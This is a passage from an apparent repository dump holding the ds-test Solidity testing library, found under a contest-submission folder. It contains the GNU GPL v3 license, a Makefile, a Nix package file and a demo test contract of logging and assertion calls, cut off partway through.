    "path": "2022/submissions_2022/submission13_TeamChainSecurity/lib/ds-test/LICENSE",
    "content": "                    GNU GENERAL PUBLIC LICENSE\n                       Version 3, 29 June 2007\n\n Copyright (C) 2007 Free Software Foundation, Inc. <http://fsf.org/>\n Everyone is permitted to copy and distribute verbatim copies\n of this license document, but changing it is not allowed.\n\n                            Preamble\n\n  The GNU General Public License is a free, copyleft license for\nsoftware and other kinds of works.\n\n  The licenses for most software and other practical works are designed\nto take away your freedom to share and change the works.  By contrast,\nthe GNU General Public License is intended to guarantee your freedom to\nshare and change all versions of a program--to make sure it remains free\nsoftware for all its users.  We, the Free Software Foundation, use the\nGNU General Public License for most of our software; it applies also to\nany other work released this way by its authors.  You can apply it to\nyour programs, too.\n\n  When we speak of free software, we are referring to freedom, not\nprice.  Our General Public Licenses are designed to make sure that you\nhave the freedom to distribute copies of free software (and charge for\nthem if you wish), that you receive source code or can get it if you\nwant it, that you can change the software or use pieces of it in new\nfree programs, and that you know you can do these things.\n\n  To protect your rights, we need to prevent others from denying you\nthese rights or asking you to surrender the rights.  Therefore, you have\ncertain responsibilities if you distribute copies of the software, or if\nyou modify it: responsibilities to respect the freedom of others.\n\n  For example, if you distribute copies of such a program, whether\ngratis or for a fee, you must pass on to the recipients the same\nfreedoms that you received.  You must make sure that they, too, receive\nor can get the source code.  And you must show them these terms so they\nknow their rights.\n\n  Developers that use the GNU GPL protect your rights with two steps:\n(1) assert copyright on the software, and (2) offer you this License\ngiving you legal permission to copy, distribute and/or modify it.\n\n  For the developers' and authors' protection, the GPL clearly explains\nthat there is no warranty for this free software.  For both users' and\nauthors' sake, the GPL requires that modified versions be marked as\nchanged, so that their problems will not be attributed erroneously to\nauthors of previous versions.\n\n  Some devices are designed to deny users access to install or run\nmodified versions of the software inside them, although the manufacturer\ncan do so.  This is fundamentally incompatible with the aim of\nprotecting users' freedom to change the software.  The systematic\npattern of such abuse occurs in the area of products for individuals to\nuse, which is precisely where it is most unacceptable.  Therefore, we\nhave designed this version of the GPL to prohibit the practice for those\nproducts.  If such problems arise substantially in other domains, we\nstand ready to extend this provision to those domains in future versions\nof the GPL, as needed to protect the freedom of users.\n\n  Finally, every program is threatened constantly by software patents.\nStates should not allow patents to restrict development and use of\nsoftware on general-purpose computers, but in those that do, we wish to\navoid the special danger that patents applied to a free program could\nmake it effectively proprietary.  To prevent this, the GPL assures that\npatents cannot be used to render the program non-free.\n\n  The precise terms and conditions for copying, distribution and\nmodification follow.\n\n                       TERMS AND CONDITIONS\n\n  0. Definitions.\n\n  \"This License\" refers to version 3 of the GNU General Public License.\n\n  \"Copyright\" also means copyright-like laws that apply to other kinds of\nworks, such as semiconductor masks.\n\n  \"The Program\" refers to any copyrightable work licensed under this\nLicense.  Each licensee is addressed as \"you\".  \"Licensees\" and\n\"recipients\" may be individuals or organizations.\n\n  To \"modify\" a work means to copy from or adapt all or part of the work\nin a fashion requiring copyright permission, other than the making of an\nexact copy.  The resulting work is called a \"modified version\" of the\nearlier work or a work \"based on\" the earlier work.\n\n  A \"covered work\" means either the unmodified Program or a work based\non the Program.\n\n  To \"propagate\" a work means to do anything with it that, without\npermission, would make you directly or secondarily liable for\ninfringement under applicable copyright law, except executing it on a\ncomputer or modifying a private copy.  Propagation includes copying,\ndistribution (with or without modification), making available to the\npublic, and in some countries other activities as well.\n\n  To \"convey\" a work means any kind of propagation that enables other\nparties to make or receive copies.  Mere interaction with a user through\na computer network, with no transfer of a copy, is not conveying.\n\n  An interactive user interface displays \"Appropriate Legal Notices\"\nto the extent that it includes a convenient and prominently visible\nfeature that (1) displays an appropriate copyright notice, and (2)\ntells the user that there is no warranty for the work (except to the\nextent that warranties are provided), that licensees may convey the\nwork under this License, and how to view a copy of this License.  If\nthe interface presents a list of user commands or options, such as a\nmenu, a prominent item in the list meets this criterion.\n\n  1. Source Code.\n\n  The \"source code\" for a work means the preferred form of the work\nfor making modifications to it.  \"Object code\" means any non-source\nform of a work.\n\n  A \"Standard Interface\" means an interface that either is an official\nstandard defined by a recognized standards body, or, in the case of\ninterfaces specified for a particular programming language, one that\nis widely used among developers working in that language.\n\n  The \"System Libraries\" of an executable work include anything, other\nthan the work as a whole, that (a) is included in the normal form of\npackaging a Major Component, but which is not part of that Major\nComponent, and (b) serves only to enable use of the work with that\nMajor Component, or to implement a Standard Interface for which an\nimplementation is available to the public in source code form.  A\n\"Major Component\", in this context, means a major essential component\n(kernel, window system, and so on) of the specific operating system\n(if any) on which the executable work runs, or a compiler used to\nproduce the work, or an object code interpreter used to run it.\n\n  The \"Corresponding Source\" for a work in object code form means all\nthe source code needed to generate, install, and (for an executable\nwork) run the object code and to modify the work, including scripts to\ncontrol those activities.  However, it does not include the work's\nSystem Libraries, or general-purpose tools or generally available free\nprograms which are used unmodified in performing those activities but\nwhich are not part of the work.  For example, Corresponding Source\nincludes interface definition files associated with source files for\nthe work, and the source code for shared libraries and dynamically\nlinked subprograms that the work is specifically designed to require,\nsuch as by intimate data communication or control flow between those\nsubprograms and other parts of the work.\n\n  The Corresponding Source need not include anything that users\ncan regenerate automatically from other parts of the Corresponding\nSource.\n\n  The Corresponding Source for a work in source code form is that\nsame work.\n\n  2. Basic Permissions.\n\n  All rights granted under this License are granted for the term of\ncopyright on the Program, and are irrevocable provided the stated\nconditions are met.  This License explicitly affirms your unlimited\npermission to run the unmodified Program.  The output from running a\ncovered work is covered by this License only if the output, given its\ncontent, constitutes a covered work.  This License acknowledges your\nrights of fair use or other equivalent, as provided by copyright law.\n\n  You may make, run and propagate covered works that you do not\nconvey, without conditions so long as your license otherwise remains\nin force.  You may convey covered works to others for the sole purpose\nof having them make modifications exclusively for you, or provide you\nwith facilities for running those works, provided that you comply with\nthe terms of this License in conveying all material for which you do\nnot control copyright.  Those thus making or running the covered works\nfor you must do so exclusively on your behalf, under your direction\nand control, on terms that prohibit them from making any copies of\nyour copyrighted material outside their relationship with you.\n\n  Conveying under any other circumstances is permitted solely under\nthe conditions stated below.  Sublicensing is not allowed; section 10\nmakes it unnecessary.\n\n  3. Protecting Users' Legal Rights From Anti-Circumvention Law.\n\n  No covered work shall be deemed part of an effective technological\nmeasure under any applicable law fulfilling obligations under article\n11 of the WIPO copyright treaty adopted on 20 December 1996, or\nsimilar laws prohibiting or restricting circumvention of such\nmeasures.\n\n  When you convey a covered work, you waive any legal power to forbid\ncircumvention of technological measures to the extent such circumvention\nis effected by exercising rights under this License with respect to\nthe covered work, and you disclaim any intention to limit operation or\nmodification of the work as a means of enforcing, against the work's\nusers, your or third parties' legal rights to forbid circumvention of\ntechnological measures.\n\n  4. Conveying Verbatim Copies.\n\n  You may convey verbatim copies of the Program's source code as you\nreceive it, in any medium, provided that you conspicuously and\nappropriately publish on each copy an appropriate copyright notice;\nkeep intact all notices stating that this License and any\nnon-permissive terms added in accord with section 7 apply to the code;\nkeep intact all notices of the absence of any warranty; and give all\nrecipients a copy of this License along with the Program.\n\n  You may charge any price or no price for each copy that you convey,\nand you may offer support or warranty protection for a fee.\n\n  5. Conveying Modified Source Versions.\n\n  You may convey a work based on the Program, or the modifications to\nproduce it from the Program, in the form of source code under the\nterms of section 4, provided that you also meet all of these conditions:\n\n    a) The work must carry prominent notices stating that you modified\n    it, and giving a relevant date.\n\n    b) The work must carry prominent notices stating that it is\n    released under this License and any conditions added under section\n    7.  This requirement modifies the requirement in section 4 to\n    \"keep intact all notices\".\n\n    c) You must license the entire work, as a whole, under this\n    License to anyone who comes into possession of a copy.  This\n    License will therefore apply, along with any applicable section 7\n    additional terms, to the whole of the work, and all its parts,\n    regardless of how they are packaged.  This License gives no\n    permission to license the work in any other way, but it does not\n    invalidate such permission if you have separately received it.\n\n    d) If the work has interactive user interfaces, each must display\n    Appropriate Legal Notices; however, if the Program has interactive\n    interfaces that do not display Appropriate Legal Notices, your\n    work need not make them do so.\n\n  A compilation of a covered work with other separate and independent\nworks, which are not by their nature extensions of the covered work,\nand which are not combined with it such as to form a larger program,\nin or on a volume of a storage or distribution medium, is called an\n\"aggregate\" if the compilation and its resulting copyright are not\nused to limit the access or legal rights of the compilation's users\nbeyond what the individual works permit.  Inclusion of a covered work\nin an aggregate does not cause this License to apply to the other\nparts of the aggregate.\n\n  6. Conveying Non-Source Forms.\n\n  You may convey a covered work in object code form under the terms\nof sections 4 and 5, provided that you also convey the\nmachine-readable Corresponding Source under the terms of this License,\nin one of these ways:\n\n    a) Convey the object code in, or embodied in, a physical product\n    (including a physical distribution medium), accompanied by the\n    Corresponding Source fixed on a durable physical medium\n    customarily used for software interchange.\n\n    b) Convey the object code in, or embodied in, a physical product\n    (including a physical distribution medium), accompanied by a\n    written offer, valid for at least three years and valid for as\n    long as you offer spare parts or customer support for that product\n    model, to give anyone who possesses the object code either (1) a\n    copy of the Corresponding Source for all the software in the\n    product that is covered by this License, on a durable physical\n    medium customarily used for software interchange, for a price no\n    more than your reasonable cost of physically performing this\n    conveying of source, or (2) access to copy the\n    Corresponding Source from a network server at no charge.\n\n    c) Convey individual copies of the object code with a copy of the\n    written offer to provide the Corresponding Source.  This\n    alternative is allowed only occasionally and noncommercially, and\n    only if you received the object code with such an offer, in accord\n    with subsection 6b.\n\n    d) Convey the object code by offering access from a designated\n    place (gratis or for a charge), and offer equivalent access to the\n    Corresponding Source in the same way through the same place at no\n    further charge.  You need not require recipients to copy the\n    Corresponding Source along with the object code.  If the place to\n    copy the object code is a network server, the Corresponding Source\n    may be on a different server (operated by you or a third party)\n    that supports equivalent copying facilities, provided you maintain\n    clear directions next to the object code saying where to find the\n    Corresponding Source.  Regardless of what server hosts the\n    Corresponding Source, you remain obligated to ensure that it is\n    available for as long as needed to satisfy these requirements.\n\n    e) Convey the object code using peer-to-peer transmission, provided\n    you inform other peers where the object code and Corresponding\n    Source of the work are being offered to the general public at no\n    charge under subsection 6d.\n\n  A separable portion of the object code, whose source code is excluded\nfrom the Corresponding Source as a System Library, need not be\nincluded in conveying the object code work.\n\n  A \"User Product\" is either (1) a \"consumer product\", which means any\ntangible personal property which is normally used for personal, family,\nor household purposes, or (2) anything designed or sold for incorporation\ninto a dwelling.  In determining whether a product is a consumer product,\ndoubtful cases shall be resolved in favor of coverage.  For a particular\nproduct received by a particular user, \"normally used\" refers to a\ntypical or common use of that class of product, regardless of the status\nof the particular user or of the way in which the particular user\nactually uses, or expects or is expected to use, the product.  A product\nis a consumer product regardless of whether the product has substantial\ncommercial, industrial or non-consumer uses, unless such uses represent\nthe only significant mode of use of the product.\n\n  \"Installation Information\" for a User Product means any methods,\nprocedures, authorization keys, or other information required to install\nand execute modified versions of a covered work in that User Product from\na modified version of its Corresponding Source.  The information must\nsuffice to ensure that the continued functioning of the modified object\ncode is in no case prevented or interfered with solely because\nmodification has been made.\n\n  If you convey an object code work under this section in, or with, or\nspecifically for use in, a User Product, and the conveying occurs as\npart of a transaction in which the right of possession and use of the\nUser Product is transferred to the recipient in perpetuity or for a\nfixed term (regardless of how the transaction is characterized), the\nCorresponding Source conveyed under this section must be accompanied\nby the Installation Information.  But this requirement does not apply\nif neither you nor any third party retains the ability to install\nmodified object code on the User Product (for example, the work has\nbeen installed in ROM).\n\n  The requirement to provide Installation Information does not include a\nrequirement to continue to provide support service, warranty, or updates\nfor a work that has been modified or installed by the recipient, or for\nthe User Product in which it has been modified or installed.  Access to a\nnetwork may be denied when the modification itself materially and\nadversely affects the operation of the network or violates the rules and\nprotocols for communication across the network.\n\n  Corresponding Source conveyed, and Installation Information provided,\nin accord with this section must be in a format that is publicly\ndocumented (and with an implementation available to the public in\nsource code form), and must require no special password or key for\nunpacking, reading or copying.\n\n  7. Additional Terms.\n\n  \"Additional permissions\" are terms that supplement the terms of this\nLicense by making exceptions from one or more of its conditions.\nAdditional permissions that are applicable to the entire Program shall\nbe treated as though they were included in this License, to the extent\nthat they are valid under applicable law.  If additional permissions\napply only to part of the Program, that part may be used separately\nunder those permissions, but the entire Program remains governed by\nthis License without regard to the additional permissions.\n\n  When you convey a copy of a covered work, you may at your option\nremove any additional permissions from that copy, or from any part of\nit.  (Additional permissions may be written to require their own\nremoval in certain cases when you modify the work.)  You may place\nadditional permissions on material, added by you to a covered work,\nfor which you have or can give appropriate copyright permission.\n\n  Notwithstanding any other provision of this License, for material you\nadd to a covered work, you may (if authorized by the copyright holders of\nthat material) supplement the terms of this License with terms:\n\n    a) Disclaiming warranty or limiting liability differently from the\n    terms of sections 15 and 16 of this License; or\n\n    b) Requiring preservation of specified reasonable legal notices or\n    author attributions in that material or in the Appropriate Legal\n    Notices displayed by works containing it; or\n\n    c) Prohibiting misrepresentation of the origin of that material, or\n    requiring that modified versions of such material be marked in\n    reasonable ways as different from the original version; or\n\n    d) Limiting the use for publicity purposes of names of licensors or\n    authors of the material; or\n\n    e) Declining to grant rights under trademark law for use of some\n    trade names, trademarks, or service marks; or\n\n    f) Requiring indemnification of licensors and authors of that\n    material by anyone who conveys the material (or modified versions of\n    it) with contractual assumptions of liability to the recipient, for\n    any liability that these contractual assumptions directly impose on\n    those licensors and authors.\n\n  All other non-permissive additional terms are considered \"further\nrestrictions\" within the meaning of section 10.  If the Program as you\nreceived it, or any part of it, contains a notice stating that it is\ngoverned by this License along with a term that is a further\nrestriction, you may remove that term.  If a license document contains\na further restriction but permits relicensing or conveying under this\nLicense, you may add to a covered work material governed by the terms\nof that license document, provided that the further restriction does\nnot survive such relicensing or conveying.\n\n  If you add terms to a covered work in accord with this section, you\nmust place, in the relevant source files, a statement of the\nadditional terms that apply to those files, or a notice indicating\nwhere to find the applicable terms.\n\n  Additional terms, permissive or non-permissive, may be stated in the\nform of a separately written license, or stated as exceptions;\nthe above requirements apply either way.\n\n  8. Termination.\n\n  You may not propagate or modify a covered work except as expressly\nprovided under this License.  Any attempt otherwise to propagate or\nmodify it is void, and will automatically terminate your rights under\nthis License (including any patent licenses granted under the third\nparagraph of section 11).\n\n  However, if you cease all violation of this License, then your\nlicense from a particular copyright holder is reinstated (a)\nprovisionally, unless and until the copyright holder explicitly and\nfinally terminates your license, and (b) permanently, if the copyright\nholder fails to notify you of the violation by some reasonable means\nprior to 60 days after the cessation.\n\n  Moreover, your license from a particular copyright holder is\nreinstated permanently if the copyright holder notifies you of the\nviolation by some reasonable means, this is the first time you have\nreceived notice of violation of this License (for any work) from that\ncopyright holder, and you cure the violation prior to 30 days after\nyour receipt of the notice.\n\n  Termination of your rights under this section does not terminate the\nlicenses of parties who have received copies or rights from you under\nthis License.  If your rights have been terminated and not permanently\nreinstated, you do not qualify to receive new licenses for the same\nmaterial under section 10.\n\n  9. Acceptance Not Required for Having Copies.\n\n  You are not required to accept this License in order to receive or\nrun a copy of the Program.  Ancillary propagation of a covered work\noccurring solely as a consequence of using peer-to-peer transmission\nto receive a copy likewise does not require acceptance.  However,\nnothing other than this License grants you permission to propagate or\nmodify any covered work.  These actions infringe copyright if you do\nnot accept this License.  Therefore, by modifying or propagating a\ncovered work, you indicate your acceptance of this License to do so.\n\n  10. Automatic Licensing of Downstream Recipients.\n\n  Each time you convey a covered work, the recipient automatically\nreceives a license from the original licensors, to run, modify and\npropagate that work, subject to this License.  You are not responsible\nfor enforcing compliance by third parties with this License.\n\n  An \"entity transaction\" is a transaction transferring control of an\norganization, or substantially all assets of one, or subdividing an\norganization, or merging organizations.  If propagation of a covered\nwork results from an entity transaction, each party to that\ntransaction who receives a copy of the work also receives whatever\nlicenses to the work the party's predecessor in interest had or could\ngive under the previous paragraph, plus a right to possession of the\nCorresponding Source of the work from the predecessor in interest, if\nthe predecessor has it or can get it with reasonable efforts.\n\n  You may not impose any further restrictions on the exercise of the\nrights granted or affirmed under this License.  For example, you may\nnot impose a license fee, royalty, or other charge for exercise of\nrights granted under this License, and you may not initiate litigation\n(including a cross-claim or counterclaim in a lawsuit) alleging that\nany patent claim is infringed by making, using, selling, offering for\nsale, or importing the Program or any portion of it.\n\n  11. Patents.\n\n  A \"contributor\" is a copyright holder who authorizes use under this\nLicense of the Program or a work on which the Program is based.  The\nwork thus licensed is called the contributor's \"contributor version\".\n\n  A contributor's \"essential patent claims\" are all patent claims\nowned or controlled by the contributor, whether already acquired or\nhereafter acquired, that would be infringed by some manner, permitted\nby this License, of making, using, or selling its contributor version,\nbut do not include claims that would be infringed only as a\nconsequence of further modification of the contributor version.  For\npurposes of this definition, \"control\" includes the right to grant\npatent sublicenses in a manner consistent with the requirements of\nthis License.\n\n  Each contributor grants you a non-exclusive, worldwide, royalty-free\npatent license under the contributor's essential patent claims, to\nmake, use, sell, offer for sale, import and otherwise run, modify and\npropagate the contents of its contributor version.\n\n  In the following three paragraphs, a \"patent license\" is any express\nagreement or commitment, however denominated, not to enforce a patent\n(such as an express permission to practice a patent or covenant not to\nsue for patent infringement).  To \"grant\" such a patent license to a\nparty means to make such an agreement or commitment not to enforce a\npatent against the party.\n\n  If you convey a covered work, knowingly relying on a patent license,\nand the Corresponding Source of the work is not available for anyone\nto copy, free of charge and under the terms of this License, through a\npublicly available network server or other readily accessible means,\nthen you must either (1) cause the Corresponding Source to be so\navailable, or (2) arrange to deprive yourself of the benefit of the\npatent license for this particular work, or (3) arrange, in a manner\nconsistent with the requirements of this License, to extend the patent\nlicense to downstream recipients.  \"Knowingly relying\" means you have\nactual knowledge that, but for the patent license, your conveying the\ncovered work in a country, or your recipient's use of the covered work\nin a country, would infringe one or more identifiable patents in that\ncountry that you have reason to believe are valid.\n\n  If, pursuant to or in connection with a single transaction or\narrangement, you convey, or propagate by procuring conveyance of, a\ncovered work, and grant a patent license to some of the parties\nreceiving the covered work authorizing them to use, propagate, modify\nor convey a specific copy of the covered work, then the patent license\nyou grant is automatically extended to all recipients of the covered\nwork and works based on it.\n\n  A patent license is \"discriminatory\" if it does not include within\nthe scope of its coverage, prohibits the exercise of, or is\nconditioned on the non-exercise of one or more of the rights that are\nspecifically granted under this License.  You may not convey a covered\nwork if you are a party to an arrangement with a third party that is\nin the business of distributing software, under which you make payment\nto the third party based on the extent of your activity of conveying\nthe work, and under which the third party grants, to any of the\nparties who would receive the covered work from you, a discriminatory\npatent license (a) in connection with copies of the covered work\nconveyed by you (or copies made from those copies), or (b) primarily\nfor and in connection with specific products or compilations that\ncontain the covered work, unless you entered into that arrangement,\nor that patent license was granted, prior to 28 March 2007.\n\n  Nothing in this License shall be construed as excluding or limiting\nany implied license or other defenses to infringement that may\notherwise be available to you under applicable patent law.\n\n  12. No Surrender of Others' Freedom.\n\n  If conditions are imposed on you (whether by court order, agreement or\notherwise) that contradict the conditions of this License, they do not\nexcuse you from the conditions of this License.  If you cannot convey a\ncovered work so as to satisfy simultaneously your obligations under this\nLicense and any other pertinent obligations, then as a consequence you may\nnot convey it at all.  For example, if you agree to terms that obligate you\nto collect a royalty for further conveying from those to whom you convey\nthe Program, the only way you could satisfy both those terms and this\nLicense would be to refrain entirely from conveying the Program.\n\n  13. Use with the GNU Affero General Public License.\n\n  Notwithstanding any other provision of this License, you have\npermission to link or combine any covered work with a work licensed\nunder version 3 of the GNU Affero General Public License into a single\ncombined work, and to convey the resulting work.  The terms of this\nLicense will continue to apply to the part which is the covered work,\nbut the special requirements of the GNU Affero General Public License,\nsection 13, concerning interaction through a network will apply to the\ncombination as such.\n\n  14. Revised Versions of this License.\n\n  The Free Software Foundation may publish revised and/or new versions of\nthe GNU General Public License from time to time.  Such new versions will\nbe similar in spirit to the present version, but may differ in detail to\naddress new problems or concerns.\n\n  Each version is given a distinguishing version number.  If the\nProgram specifies that a certain numbered version of the GNU General\nPublic License \"or any later version\" applies to it, you have the\noption of following the terms and conditions either of that numbered\nversion or of any later version published by the Free Software\nFoundation.  If the Program does not specify a version number of the\nGNU General Public License, you may choose any version ever published\nby the Free Software Foundation.\n\n  If the Program specifies that a proxy can decide which future\nversions of the GNU General Public License can be used, that proxy's\npublic statement of acceptance of a version permanently authorizes you\nto choose that version for the Program.\n\n  Later license versions may give you additional or different\npermissions.  However, no additional obligations are imposed on any\nauthor or copyright holder as a result of your choosing to follow a\nlater version.\n\n  15. Disclaimer of Warranty.\n\n  THERE IS NO WARRANTY FOR THE PROGRAM, TO THE EXTENT PERMITTED BY\nAPPLICABLE LAW.  EXCEPT WHEN OTHERWISE STATED IN WRITING THE COPYRIGHT\nHOLDERS AND/OR OTHER PARTIES PROVIDE THE PROGRAM \"AS IS\" WITHOUT WARRANTY\nOF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING, BUT NOT LIMITED TO,\nTHE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR\nPURPOSE.  THE ENTIRE RISK AS TO THE QUALITY AND PERFORMANCE OF THE PROGRAM\nIS WITH YOU.  SHOULD THE PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF\nALL NECESSARY SERVICING, REPAIR OR CORRECTION.\n\n  16. Limitation of Liability.\n\n  IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING\nWILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MODIFIES AND/OR CONVEYS\nTHE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, INCLUDING ANY\nGENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING OUT OF THE\nUSE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED TO LOSS OF\nDATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY YOU OR THIRD\nPARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER PROGRAMS),\nEVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE POSSIBILITY OF\nSUCH DAMAGES.\n\n  17. Interpretation of Sections 15 and 16.\n\n  If the disclaimer of warranty and limitation of liability provided\nabove cannot be given local legal effect according to their terms,\nreviewing courts shall apply local law that most closely approximates\nan absolute waiver of all civil liability in connection with the\nProgram, unless a warranty or assumption of liability accompanies a\ncopy of the Program in return for a fee.\n\n                     END OF TERMS AND CONDITIONS\n\n            How to Apply These Terms to Your New Programs\n\n  If you develop a new program, and you want it to be of the greatest\npossible use to the public, the best way to achieve this is to make it\nfree software which everyone can redistribute and change under these terms.\n\n  To do so, attach the following notices to the program.  It is safest\nto attach them to the start of each source file to most effectively\nstate the exclusion of warranty; and each file should have at least\nthe \"copyright\" line and a pointer to where the full notice is found.\n\n    <one line to give the program's name and a brief idea of what it does.>\n    Copyright (C) <year>  <name of author>\n\n    This program is free software: you can redistribute it and/or modify\n    it under the terms of the GNU General Public License as published by\n    the Free Software Foundation, either version 3 of the License, or\n    (at your option) any later version.\n\n    This program is distributed in the hope that it will be useful,\n    but WITHOUT ANY WARRANTY; without even the implied warranty of\n    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n    GNU General Public License for more details.\n\n    You should have received a copy of the GNU General Public License\n    along with this program.  If not, see <http://www.gnu.org/licenses/>.\n\nAlso add information on how to contact you by electronic and paper mail.\n\n  If the program does terminal interaction, make it output a short\nnotice like this when it starts in an interactive mode:\n\n    <program>  Copyright (C) <year>  <name of author>\n    This program comes with ABSOLUTELY NO WARRANTY; for details type `show w'.\n    This is free software, and you are welcome to redistribute it\n    under certain conditions; type `show c' for details.\n\nThe hypothetical commands `show w' and `show c' should show the appropriate\nparts of the General Public License.  Of course, your program's commands\nmight be different; for a GUI interface, you would use an \"about box\".\n\n  You should also get your employer (if you work as a programmer) or school,\nif any, to sign a \"copyright disclaimer\" for the program, if necessary.\nFor more information on this, and how to apply and follow the GNU GPL, see\n<http://www.gnu.org/licenses/>.\n\n  The GNU General Public License does not permit incorporating your program\ninto proprietary programs.  If your program is a subroutine library, you\nmay consider it more useful to permit linking proprietary applications with\nthe library.  If this is what you want to do, use the GNU Lesser General\nPublic License instead of this License.  But first, please read\n<http://www.gnu.org/philosophy/why-not-lgpl.html>.\n"
  },
  {
    "path": "2022/submissions_2022/submission13_TeamChainSecurity/lib/ds-test/Makefile",
    "content": "all:; dapp build\n\ntest:\n\t-dapp --use solc:0.4.23 build\n\t-dapp --use solc:0.4.26 build\n\t-dapp --use solc:0.5.17 build\n\t-dapp --use solc:0.6.12 build\n\t-dapp --use solc:0.7.5  build\n\ndemo:\n\tDAPP_SRC=demo dapp --use solc:0.7.5 build\n\t-hevm dapp-test --verbose 3\n\n.PHONY: test demo\n"
  },
  {
    "path": "2022/submissions_2022/submission13_TeamChainSecurity/lib/ds-test/default.nix",
    "content": "{ solidityPackage, dappsys }: solidityPackage {\n  name = \"ds-test\";\n  src = ./src;\n}\n"
  },
  {
    "path": "2022/submissions_2022/submission13_TeamChainSecurity/lib/ds-test/demo/demo.sol",
    "content": "// SPDX-License-Identifier: GPL-3.0-or-later\npragma solidity >=0.4.23;\n\nimport \"../src/test.sol\";\n\ncontract DemoTest is DSTest {\n    function test_this() public pure {\n        require(true);\n    }\n    function test_logs() public {\n        emit log(\"-- log(string)\");\n        emit log(\"a string\");\n\n        emit log(\"-- log_named_uint(string, uint)\");\n        log_named_uint(\"uint\", 512);\n\n        emit log(\"-- log_named_int(string, int)\");\n        log_named_int(\"int\", -512);\n\n        emit log(\"-- log_named_address(string, address)\");\n        log_named_address(\"address\", address(this));\n\n        emit log(\"-- log_named_bytes32(string, bytes32)\");\n        log_named_bytes32(\"bytes32\", \"a string\");\n\n        emit log(\"-- log_named_bytes(string, bytes)\");\n        log_named_bytes(\"bytes\", hex\"cafefe\");\n\n        emit log(\"-- log_named_string(string, string)\");\n        log_named_string(\"string\", \"a string\");\n\n        emit log(\"-- log_named_decimal_uint(string, uint, uint)\");\n        log_named_decimal_uint(\"decimal uint\", 1.0e18, 18);\n\n        emit log(\"-- log_named_decimal_int(string, int, uint)\");\n        log_named_decimal_int(\"decimal int\", -1.0e18, 18);\n    }\n    event log_old_named_uint(bytes32,uint);\n    function test_old_logs() public {\n        log_old_named_uint(\"key\", 500);\n        log_named_bytes32(\"bkey\", \"val\");\n    }\n    function test_trace() public view {\n        this.echo(\"string 1\", \"string 2\");\n    }\n    function test_multiline() public {\n        emit log(\"a multiline\\\\n\" \"string\");\n        emit log(\"a multiline \" \"string\");\n        log_bytes(\"a string\");\n        log_bytes(\"a multiline\\n\" \"string\");\n        log_bytes(\"a multiline\\\\n\" \"string\");\n        emit log(unicode\"Ώ\");\n        logs(hex\"0000\");\n        log_named_bytes(\"0x0000\", hex\"0000\");\n        logs(hex\"ff\");\n    }\n    function echo(string memory s1, string memory s2) public pure\n        returns (string memory, string memory)\n    {\n        return (s1, s2);\n    }\n\n    function prove_this(uint x) public {\n        log_named_uint(\"sym x\", x);\n        assertGt(x + 1, 0);\n    }\n\n    function test_logn() public {\n        assembly {\n            log0(0x01, 0x02)\n            log1(0x01, 0x02, 0x03)\n            log2(0x01, 0x02, 0x03, 0x04)\n            log3(0x01, 0x02, 0x03, 0x04, 0x05)\n        }\n    }\n\n    event MyEvent(uint, uint indexed, uint, uint indexed);\n    function test_events() public {\n        emit MyEvent(1, 2, 3, 4);\n    }\n\n    function test_asserts() public {\n        string memory err = \"this test has failed!\";\n        emit log(\"## assertTrue(bool)\\n\");\n        assertTrue(false);\n        emit log(\"\\n\");\n        assertTrue(false, err);\n\n        emit log(\"\\n## assertEq(address,address)\\n\");\n        assertEq(address(this), msg.sender);\n        emit log(\"\\n\");\n        assertEq(address(this), msg.sender, err);\n\n        emit log(\"\\n## assertEq32(bytes32,bytes32)\\n\");\n        assertEq32(\"bytes 1\", \"bytes 2\");\n        emit log(\"\\n\");\n        assertEq32(\"bytes 1\", \"bytes 2\", err);\n\n        emit log(\"\\n## assertEq(bytes32,bytes32)\\n\");\n        assertEq32(\"bytes 1\", \"bytes 2\");\n        emit log(\"\\n\");\n        assertEq32(\"bytes 1\", \"bytes 2\", err);\n\n        emit log(\"\\n## assertEq(uint,uint)\\n\");\n        assertEq(uint(0), 1);\n        emit log(\"\\n\");\n        assertEq(uint(0), 1, err);\n\n        emit log(\"\\n## assertEq(int,int)\\n\");\n        assertEq(-1, -2);\n        emit log(\"\\n\");\n        assertEq(-1, -2, err);\n\n        emit log(\"\\n## assertEqDecimal(int,int,uint)\\n\");\n        assertEqDecimal(-1.0e18, -1.1e18, 18);\n        emit log(\"\\n\");\n        assertEqDecimal(-1.0e18, -1.1e18, 18, err);\n\n        emit log(\"\\n## assertEqDecimal(uint,uint,uint)\\n\");\n        assertEqDecimal(uint(1.0e18), 1.1e18, 18);\n        emit log(\"\\n\");\n        assertEqDecimal(uint(1.0e18), 1.1e18, 18, err);\n\n        emit log(\"\\n## assertGt(uint,uint)\\n\");\n        assertGt(uint(0), 0);\n        emit log(\"\\n\");\n        assertGt(uint(0), 0, err);\n\n        emit log(\"\\n## assertGt(int,int)\\n\");\n        assertGt(-1, -1);\n        emit log(\"\\n\");\n        assertGt(-1, -1, err);\n\n        emit log(\"\\n## assertGtDecimal(int,int,uint)\\n\");\n        assertGtDecimal(-2.0e18, -1.1e18, 18);\n        emit log(\"\\n\");\n        assertGtDecimal(-2.0e18, -1.1e18, 18, err);\n\n        emit log(\"\\n## assertGtDecimal(uint,uint,uint)\\n\");\n        assertGtDecimal(uint(1.0e18), 1.1e18, 18);\n        emit log(\"\\n\");\n        assertGtDecimal(uint(1.0e18), 1.1e18, 18, err);\n\n        emit log(\"\\n## assertGe(uint,uint)\\n\");\n        assertGe(uint(0), 1);\n        emit log(\"\\n\");\n        assertGe(uint(0), 1, err);\n\n        emit log(\"\\n## assertGe(int,int)\\n\");\n        assertGe(-1, 0);\n        emit log(\"\\n\");\n        assertGe(-1, 0, err);\n\n        emit log(\"\\n## assertGeDecimal(int,int,uint)\\n\");\n        assertGeDecimal(-2.0e18, -1.1e18, 18);\n        emit 